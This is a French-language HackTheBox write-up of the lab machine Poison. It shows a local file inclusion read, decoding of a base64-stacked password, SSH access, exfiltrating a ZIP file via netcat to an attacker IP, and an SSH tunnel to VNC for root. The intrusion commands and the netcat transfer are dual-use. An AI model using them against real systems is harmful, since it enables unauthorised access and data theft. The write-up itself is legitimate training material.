> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md).

# Rédaction HackTheBox Poison

Rédaction HackTheBox de la machine Linux Poison de difficulté moyenne couvrant l’inclusion de fichier local (LFI), le cassage d’un fichier ZIP, l’abus de VNC - vncviewer (escalade de privilèges), avec une énumération pratique, l’exploitation, l’obtention du premier accès

{% embed url="<https://app.hackthebox.com/machines/Poison>" %}

{% hint style="warning" %}
**Compétences :**

* Inclusion de fichier local (LFI)
* Crackage du fichier ZIP
* Exploitation abusive de VNC - vncviewer (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1226a2257e7f0e20effef12a68a110652a5b2498%2Fimage%20(2817).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11ce96b13060fe857425c84365f065dfa2f685af%2Fimage%20(2818).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.84 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0335b3e97a4b7fa1a9b50bc964cb2e81eb220e41%2Fimage%20(2819).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap (22, 80) :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80 10.10.10.84 -oN targeted 
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f234d40f11f875c0c6b5e59506a34ebaa2bbfd42%2Fimage%20(2820).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 80 - FreeBSD

{% hint style="info" %}
FreeBSD est un système d'exploitation libre et open source populaire, basé sur la version BSD du système d'exploitation Unix. FreeBSD a la réputation d'être rapide, stable et particulièrement adapté à un fonctionnement comme serveur Internet ou serveur de fichiers.
{% endhint %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-561f84287a48f957969f66d328cf5b9bc3780d45%2Fimage%20(2821).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Exploitation LFI**

Nous identifions un paramètre vulnérable :

```
?file=FILE
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54dd4f0fd00e69d37559967d02502e1b28547c88%2Fimage%20(2822).png?alt=media" alt=""><figcaption></figcaption></figure>

Cela nous permet de lire n'importe quel fichier disponible sur le système.

À distance `pwnbackup.txt`, nous trouvons une chaîne indiquant un mot de passe chiffré **13 fois en base64**:

```
Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFd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/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1c85658563f8c953ef6680debb90a7be10c22f12%2Fimage%20(2823).png?alt=media" alt=""><figcaption></figcaption></figure>

Déchiffrement avec `echo`:

{% code overflow="wrap" %}

```bash
echo "Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVUbGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBSbVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVWM040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRsWmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYyeG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01GWkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYwMXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVaT1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5kWFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZkWGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZTVm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZzWkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBWVmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpOUkd4RVdub3dPVU5uUFQwSwo=" | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d | base64 -d; echo
```

{% endcode %}

Le mot de passe révélé est :

* `Charix!2#4%6&8(0`

### **Recherche d'utilisateur système**

Nous listons `/etc/passwd` via la LFI et trouvons l'utilisateur **charix**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd1e47752986daba3568d487fc040fdb22754bb7%2Fimage%20(2824).png?alt=media" alt=""><figcaption></figcaption></figure>

Connexion SSH avec les identifiants trouvés :

```bash
ssh charix@10.10.10.84 
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b71591ed1ddc7e48c3f0ce84ea34de2bbbd76d8f%2Fimage%20(2825).png?alt=media" alt=""><figcaption></figcaption></figure>

### Drapeau user.txt :)

Drapeau `fichier user.txt` récupéré

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4bace40c38ee0d044eb00b86696f4a542a7a117%2Fimage%20(2826).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges**

Nous trouvons un fichier **secret.zip**.

#### **Transfert de fichier avec Netcat**

Sur notre machine :

```bash
nc -nvlp 443 > secret.zip
cat secret.zip  | nc 10.10.14.50 443
```

Le fichier est protégé par mot de passe.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5827f143a9a865e76c095acf51c0d09c6b5d369e%2Fimage%20(2827).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Crackage du mot de passe ZIP**

**Extraire le hash avec `zip2john`**:

Nous allons donc utiliser zip2john pour extraire le hash

```bash
zip2john secret.zip > hash
```

**Suivi du mot de passe avec `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Résultat**: Introuvable

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7817331dc23361ba1b8ca5207d8a9e5caedb738a%2Fimage%20(2828).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous testons la réutilisation du mot de passe précédemment découvert :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2970b1d4490ce0c0a013cf735766ff1fc692af39%2Fimage%20(2829).png?alt=media" alt=""><figcaption></figcaption></figure>

/*Succès ! /*/\*

`secret` Le fichier contient des caractères étranges, suggérant une clé d'accès

### Exploitation des ports 5800,5801,5900,5901 - VNC

Nous identifions les ports à l'écoute :

```bash
netstat -an | grep LISTEN
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2635f808288af2fd9735379516a9ee7da62a72a1%2Fimage%20(2830).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Tunnel SSH pour rediriger les ports VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c573759e00dd272931f1efa5ade12b0599fb16a%2Fimage%20(2831).png?alt=media" alt=""><figcaption></figcaption></figure>

Analyse du service VNC :

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e32ae29b5d53f3eb7513096f9b82ed15b727e8fd%2Fimage%20(2832).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Connexion via vncviewer**

Nous utilisons le mot de passe trouvé dans `secret.zip`:

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

Nous obtenons un **l'accès root** sur la machine !

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6312abe26269b22c8f3da6529463191be6ff346d%2Fimage%20(2833).png?alt=media" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b7fc7cf5c00a7a2f2f73ec8d453009badc150b3%2Fimage%20(2834).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f93253f0c22e4a18b9611f68bddc0aa88cd1441f%2Fimage%20(2835).png?alt=media" alt="" width="404"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/poison-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
